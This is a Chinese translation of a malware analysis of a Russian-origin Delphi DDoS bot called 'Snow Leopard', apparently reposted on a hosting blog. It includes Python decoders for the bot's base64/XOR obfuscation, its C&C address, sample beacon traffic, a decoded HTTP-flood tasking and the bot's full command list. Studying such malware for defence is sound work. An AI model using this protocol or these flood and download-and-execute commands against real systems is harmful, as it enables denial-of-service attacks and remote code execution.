Arbor成功拦截雪豹病毒

@malpush把Tweet中的木马雪豹暴露到了我们Arbor的无线电探测器中,此次的木马表现是在Tweet中显示一个网址,当你填入信息后,他会通往一个指令和控制面板(C&C)如下所示:

这一现象使我深信我应更深入地了解雪豹。巧合的是对于Arbor来说,这一恶意程序结果竟是DDos(分布式拒绝服务攻击)僵尸程序。

恶意程序样例

分析研究样例可以在malwr查找到 (MD5: 4fa91b76294d849d01655ffb72b30981)。

这是用Delphi编写的恶意软件包括以下几种形式: UPX填充,字符串模糊处理,反病毒机器,反调试,自我修改代码,过程挖空。

这种基于Delphi的使用和使用的面板部分的语言,很可能是起源于俄罗斯。

模糊处理

木马雪豹使用两种模糊处理方式;它们是 base64 和 XOR的联合。不同秘钥使用不同的部分。第一个模糊处理方式是用在字符串上,可以用下面的Python函数可以解码:

def decrypt_strings(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for i in range(len(msg_no_b64)): key_lsb = ord(key[i % len(key)]) & 0xf msg_lsb = ord(msg_no_b64[i]) & 0xf c = msg_lsb ^ key_lsb d = c ^ 0xa msg_slsb = ord(msg_no_b64[i]) & 0xf0 plain_byte = msg_slsb ^ d plain_buf.append(chr(plain_byte)) return “”.join(plain_buf)

下面是一些例子:

>>> decrypt_strings(“QG1wZ2xnPj4sZGNk”, “12xc3qwfhjeryTTYHH”) ‘Kernel32.dll’ >>> decrypt_strings(“TG12RGZveGBnSG5mZ2JrQg==”, “12xc3qwfhjeryTTYHH”) ‘GetModuleHandleA’ >>> decrypt_strings(“dWpkbXFqZmxi”, “mu#X”) ‘removeone’ >>> decrypt_strings(“cn9tY3Nqf2d1”, “mu#X”) ‘updatever’ >>> decrypt_strings(“ZXN8djotITgyOyQ0MD4mOD45Jzc5I2NmfS1kaXhzdCx+YXo=”, “GMrlZ8t3pypO3423423LpFqCUx”) ‘http://188.190.101.13/hor/input.php’

第二种方法主要用在C&C通信上,并且可按照下面Python函数清理:

def decrypt_cnc(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for offset, enc_byte in enumerate(msg_no_b64): plain_byte = ord(enc_byte) ^ ord(key[offset % len(key)]) plain_buf.append(chr(plain_byte)) return “”.join(plain_buf)

下面是一些例子:

>>> decrypt_cnc(“ChYJCRhta3k=”, “\x38”) ‘2.11 USA’ >>> decrypt_cnc(“DRhAAA4YeRgIXBgIUBgPVRgKAEs=”, “\x38”) ‘5 x86 A 0d 0h 7m 28s’

指令与控制

C&C是基于HTTP(超文本转移协议)。两种信息类型已经被识别出来了。第一种信息类型o或者是“背景连线通讯”就像这样:

POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://mhome.br Content-Length: 106 Content-Type: application/x-www-form-urlencoded m=CA==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=&p=cHd1fQ==&v=ChYJCRhta3k=&s=DRhAAA4YeRgIXBgIUBgPVRgKAEs=

这就是它如何被解码的:

m=0&h=18803769021711750776216376939&p=HOME&v=2.11 USA&s=5 x86 A 0d 0h 7m 28s

它的POST参数是:

· m – Message type (0)

· h – Hash based on computer name

· p – Computer name

· v – Version and locale

· s – Windows version, architecture, user type, and uptime

背景连线通讯反应如下方:

HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 14:48:27 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 32 Connection: close Content-Type: text/html; charset=UTF-8 dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN

被解码,这是在请求中使用的用户代理

>>> decrypt_cnc(“dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN”, “\x38”) ‘Mozilla Gecko Firefox 25’

第二种信息类型是1或者“指令调查”。 如下方:

POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://udot.tk Content-Length: 49 Content-Type: application/x-www-form-urlencoded m=CQ==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=

被解码为:

m=1&h=18803769021711750776216376939

它的POST参数是:

· m – Message type (1)

· h – Hash based on computer name

调查反应样例:

HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 12:56:16 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 72 Connection: close Content-Type: text/html; charset=UTF-8 UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=

被解码:

decrypt_cnc(“UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=”, “\x38”) ‘httpflood*http://target.net/index.php/*80*150*0’

指令被多个“*”限定,如下面格式:

command*arg1*arg2*arg3*arg4*arg5*arg6*arg7

指令

下面的bot(网络爬虫)指令已被识别:

· httpflood – HTTP GET flood

· httppost – HTTP POST flood

· udpflood – UDP flood

· synflood – TCP connect flood

· tcpflood – TCP flood

· download – download and execute (all bots)

· downloadone – download and execute (specified bot)

· update – update (all bots)

· updateos – update (specified OS)

· updateone – update (specified bot)

· updatever – update (specified version)

· removeos – remove bot (specified OS)

· removeone – remove bot (specified bot)

· s! – stop all floods

· su – stop UDP flood

· sh – stop HTTP flood

· ss – stop TCP SYN flood

· st – stop TCP flood

关于每个指令的更多信息,可在C&C面板内的“任务管理”一栏查找到。

注意:我在分析的二进制里看不到任何关于“memexec”或者“script”指令的引用。

指令和控制面板

总结起来,这便是指令和控制面板幕后的行程;“静态/指数”页面:

这便是“上传”页面:

部分“Bot清单”页面:

结论:

该篇分析了crypto(加密),C&C基础设施,与木马指令台。雪豹——一个新的DDoS bot(网络爬虫)程序很可能来自于俄罗斯。在写入的同时,仅有少量的独特样例与C&C服务器已经被识别了,那么这项新威胁之攻击规模和影响还有待确定。Arbor安全工程响应小组(ASERT)将会继续追踪雪豹病毒。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/151452.html<

(0)
管理的头像管理
上一篇2025-03-13 13:28
下一篇 2025-03-13 13:29

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注